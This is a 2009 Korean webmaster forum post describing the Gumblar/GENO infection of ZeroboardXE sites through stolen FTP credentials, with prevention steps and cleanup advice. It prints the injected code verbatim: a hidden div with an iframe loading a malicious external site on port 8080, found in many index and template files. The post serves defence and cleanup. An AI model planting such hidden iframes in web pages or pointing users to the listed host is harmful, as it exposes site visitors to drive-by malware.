웹마스터 팁
iframe을 이용한 악성코드 침투 - 치료 및 대응법 (검블러 or GENO)
2009.10.01 01:29
마땅히 어느 게시판에 올려야할지 몰라서 이곳에 올립니다...
후에 마땅한 자리를 찾으면 옮기겠습니다. (그래도 좋은 정보 들고온거니 이해해주세요...ㄷㄷㄷ)
현재 제로보드XE를 포함한 서버 자체에 iframe을 이용한 악성코드가 침투하고 있습니다.
검블러 혹은 GENO라는 이름을 가지고 있다는데요. 저는 뭐 그것까진 잘 모르겠고.. (그래봤자 악성코드나 바이러스죠. 흥)
제가 직접 당한 일이라서, 혹시 저와 같은 분이 있으실까 해서 적어봅니다.
갑자기 사이트가 뜨지 않으시는 분. (제 경우에는 이런 증상이 있었습니다만, 다양하게 나타날수 잇겠죠)
혹은 사이트에 왠 낯선 iframe 창이 뜨시는 분들.
이 악성코드는
파일명에 index 나 main 이 들어가면 모조리 다 침투하는 경향이 있어서 굉장히 골머리 썩습니다.
특히, 제로보드XE 깔린채로 이 악성코드에 걸리면...
제로보드XE 폴도 내에 설치되어있는 main.html, index.html (혹은 main 이나 index 글자가 포함된 파일 통틀어) 갯수만 해도.... 수십개...덜덜덜..... 정말 눈물이 앞을 가립니다.
일일이 지워줘야 하니깐요..... (재설치하는 방법도 있긴 있습니다만..........후.......그것도 심장 떨리죠.)
그리고 이 악성코드가 더 악질적인 이유가 한가지 더 있습니다.
FTP 접속 아이디가 두개 있는데...
어떤 루트에서 이 악성코드가 침투해서... 제 PC에 머물러있다가,
제 PC에서 FTP 접속 아이디와 비밀번호를 빼내어 가서.. 모두 걸리게 한다는 거죠.
예를 들어, FTP 아이디가 5개 있으면 5군데 다 걸린다는 겁니다. (-_-)
들은 얘기에 의하면 Adobe사의 아크로뱃과 플래시를 최신 보안패치 하지 않아, 그 취약점을 통해 쉽게 걸린다죠.
그러니 혹시 저 프로그램 사용하시는 분들 있으시다면 최신으로 업데이트 해주시고,
꼭 V3로 검사하시길 바랍니다.
iframe 악성코드에 대한 방어법 (제가 아는대로 적겠습니다.)
1. FTP 비밀번호를 자주자주 바꿉니다.
2. Adobe 사 프로그램 (아크로뱃, 플래시 위주)을 최신으로 업데이트(보안 패치) 해줍니다.
3. PC에 V3를 깔아 바이러스나 악성코드 검사를 반드시 해줍니다.
4. 홈페이지에 제로보드나 그누보드 등 이용하는 프로그램에 있어서도 최신 보안 패치를 해줍니다.
iframe를 통한 악성코드 치료법 (검블러 or GENO)
사용하는 서버에 main 이나 index 가 들어가는 모든 파일에서, 제가 밑에 첨부해 드리는 소스가 들어간 부분은 모두 삭제하셔야합니다.
(이하 메모장으로도 첨부했습니다.)
-> 이 아래는 악성코드 소스입니다!!!!!!!!!!!!!!!!!! (URL 절대 클릭하지 마시구요)
메모장에 저장해서 파일로도 첨부했습니다.
컨트롤+F 하셔서... iframe 이나 8080 검색해보시면.. 쉽게 찾을 수 있겠죠.
./public_html/zbxe/files/cache/template_compiled/e09705904ff83534dced736b381b505c.compiled.php:<div style="display:none">qnmajgnmmfkcuzgiiqoqllhjqbmencd<iframe width=950 height=869 src="./http://sexfinish.ru:8080/index.php" ></iframe></div>
./public_html/zbxe/files/cache/template_compiled/76cf47e9f1ad0fc481594e3352aecf83.compiled.php:<div style="display:none">qnmajgnmmfkcuzgiiqoqllhjqbmencd<iframe width=950 height=869 src="./http://sexfinish.ru:8080/index.php" ></iframe></div>
./public_html/zbxe/common/tpl/default_layout.html:<div style="display:none">qnmajgnmmfkcuzgiiqoqllhjqbmencd<iframe width=950 height=869 src="./http://sexfinish.ru:8080/index.php" ></iframe></div>
./public_html/zbxe/modules/board/tpl/index.html:<div style="display:none">qnmajgnmmfkcuzgiiqoqllhjqbmencd<iframe width=950 height=869 src="./http://sexfinish.ru:8080/index.php" ></iframe></div>
./public_html/zbxe/modules/importer/tpl/index.html:<div style="display:none">qnmajgnmmfkcuzgiiqoqllhjqbmencd<iframe width=950 height=869 src="./http://sexfinish.ru:8080/index.php" ></iframe></div>
./public_html/zbxe/modules/krzip/tpl/index.html:<div style="display:none">qnmajgnmmfkcuzgiiqoqllhjqbmencd<iframe width=950 height=869 src="./http://sexfinish.ru:8080/index.php" ></iframe></div>
./public_html/zbxe/modules/layout/tpl/index.html:<div style="display:none">qnmajgnmmfkcuzgiiqoqllhjqbmencd<iframe width=950 height=869 src="./http://sexfinish.ru:8080/index.php" ></iframe></div>
./public_html/zbxe/modules/counter/tpl/index.html:<div style="display:none">qnmajgnmmfkcuzgiiqoqllhjqbmencd<iframe width=950 height=869 src="./http://sexfinish.ru:8080/index.php" ></iframe></div>
./public_html/zbxe/modules/admin/tpl/index.html:<div style="display:none">qnmajgnmmfkcuzgiiqoqllhjqbmencd<iframe width=950 height=869 src="./http://sexfinish.ru:8080/index.php" ></iframe></div>
./public_html/zbxe/modules/ldap/tpl/index.html:<div style="display:none">qnmajgnmmfkcuzgiiqoqllhjqbmencd<iframe width=950 height=869 src="./http://sexfinish.ru:8080/index.php" ></iframe></div>
./public_html/zbxe/modules/integration_search/tpl/index.html:<div style="display:none">qnmajgnmmfkcuzgiiqoqllhjqbmencd<iframe width=950 height=869 src="./http://sexfinish.ru:8080/index.php" ></iframe></div>
./public_html/zbxe/modules/integration_search/skins/default/index.html:<div style="display:none">qnmajgnmmfkcuzgiiqoqllhjqbmencd<iframe width=950 height=869 src="./http://sexfinish.ru:8080/index.php" ></iframe></div>
./public_html/zbxe/modules/communication/tpl/index.html:<div style="display:none">qnmajgnmmfkcuzgiiqoqllhjqbmencd<iframe width=950 height=869 src="./http://sexfinish.ru:8080/index.php" ></iframe></div>
여러분...
이 악성코드 조심합니다....
제로보드xe 깔린 상태에서 걸리면.... 어마어마한 일을 치루시게 됩니다... 덜덜덜....
전 다행히 새로 오픈한지라.. 자료가 없어서 삭제하고 새로 깔면 되지만.......
자료 보존하셔야 하는 분들은... 이거 엄청난 일입니다. 그야말로 막노동......
후에 새로운 정보가 생기거든 또 수정하겠습니다.
(_ _) 부디 악성코드로부터 건재하시길...
댓글 8
제목 | 글쓴이 | 날짜 |
---|---|---|
iframe을 이용한 악성코드 침투 - 치료 및 대응법 (검블러 or GENO)
[8]
![]() | 미루819 | 2009.10.01 |
비회원 글쓰기가 되지 않을 경우.. | 태쥐 | 2009.10.01 |
첨부한 압축파일이 손상되는 이유와 그 해결 (CRC 오류) | Gekkou | 2009.10.03 |
위젯에서 페이지 기능 활용 팁 [3] | 라르게덴 | 2009.10.05 |
파일 첨부시 사라지는 현상 [6] | Isaac Shepherd | 2009.10.07 |
-추가- 당신의 XE 기반 홈페이지를 훅가게 하는 방법 4가지 [26] | 老姜君 | 2009.10.08 |
제로보드4->XE 데이터 이전 시 회원 정보 오류 / 포인트 문제 [10] | 개돌 | 2009.10.08 |
최근게시물의 캐시파일을 일반문서에 불러들이기 [2] | 고진감래 | 2009.10.09 |
[확장변수] 게시물을 새창에서 전체화면으로 보기
[2]
![]() | 고진감래 | 2009.10.09 |
[초보] 본문 하단에 구글 애드센스 삽입방법 [2] | BigSeong | 2009.10.10 |
로그인 폼에 관리자는 [Admin] 나타나게 하기
[4]
![]() | 오스카 | 2009.10.10 |
모르지오 레이아웃 사용시 각종 [배경이미지] 넣어도 안 나타날 경우 [2] | 오스카 | 2009.10.10 |
레이아웃에서 배경이미지를 좌-아래에 넣을 경우 | 오스카 | 2009.10.10 |
게시판에서 비회원 메일 주소 확인하기 | 똑디 | 2009.10.12 |
플래너 "한줄공지" 가 삭제되지 않는 경우 의 임시대응법
[2]
![]() | Gekkou | 2009.10.13 |
textyle Domain 접속방법
[5]
![]() | 왜만지냐 | 2009.10.15 |
textyle에 믹시업 위젯 달기 [1] | 명희남편 | 2009.10.15 |
DB 이전시 오류 해결,,,하하하하...끝네 해결 했음....
![]() | Crazyhouse.cn | 2009.10.16 |
웹진/갤러리에서 썸네일 클릭 시 원본 이미지 보기 + HighSlide JS 적용 (수정) [18] | 고진감래 | 2009.10.17 |
간단한 위키링크 흉내내기 [5] | 고진감래 | 2009.10.17 |